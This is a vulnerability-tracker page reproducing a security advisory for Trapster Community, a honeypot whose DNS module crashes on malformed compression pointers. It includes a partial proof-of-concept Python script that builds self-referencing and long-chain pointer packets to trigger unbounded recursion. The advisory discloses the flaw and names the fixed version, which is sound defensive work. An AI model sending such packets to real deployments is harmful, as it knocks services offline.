What’s Vulnerable › Vulnerabilities
GHSA-mxwc-wh95-pw4g: Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler
- Severity: medium (CVSS 5.3 v3.1)
- Exploited in the wild: not listed in CISA KEV
- Public exploit or detection template: none known
- Published: 2026-07-08 · updated 2026-11-06
- Weakness: CWE-674
Description
## Summary `trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module). ## Severity Medium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener. ## Affected component - File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` → `decode_dns_message`). - Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` → `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port. - Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`. ## Details `decode_labels` implements RFC 1035 §4.1.4 name compression: ```python def decode_labels(message, offset): labels = [] while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) offset += 2 return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer ... ``` Each compression pointer triggers a fresh recursive call to `decode_labels`. There is: - **No cycle detection** — a pointer that targets its own offset recurses forever. - **No depth bound** — a chain of distinct forward pointers recurses once per pointer. Either shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet. This is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had. ## Proof of Concept Real-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`. `e2e_poc.py`: ```python import asyncio, struct, socket, sys from trapster.modules.dns import DnsHoneypot from trapster.logger.base import BaseLogger HOST, PORT = "127.0.0.1", 15353 captured_loop_exceptions = [] def build_benign_query(qname=b"example.com"): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00" return header + labels + struct.pack("!2H", 1, 1) def build_self_pointer(): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name return header + name + struct.pack("!2H", 1, 1) def build_pointer_chain(depth=2000): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 18) qtail = struct.pack("!2H", 1, 1) chain = bytearray() for i in range(depth): chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1))) chain += b"\x00" return header + name + qtail + bytes(chain) def send_udp(payload, timeout=1.0): s = socket.socket
Affected products
- Pypi Trapster: before 1.2.2; 1.0.10, 1.0.12, 1.0.13, 1.0.14, 1.0.15, 1.0.16 (+25) — fixed in 1.2.2
How to fix
Upgrade to a fixed version: Pypi Trapster 1.2.2. Check the vendor advisory for mitigations.
References
- https://github.com/0xBallpoint/trapster-community/security/advisories/GHSA-mxwc-wh95-pw4g
- https://github.com/0xBallpoint/trapster-community/commit/dfc2c43dad119578f9c7344a0077790ed7fee01b
- https://github.com/0xBallpoint/trapster-community
Get alerted when GHSA-mxwc-wh95-pw4g or the next vulnerability affects your stack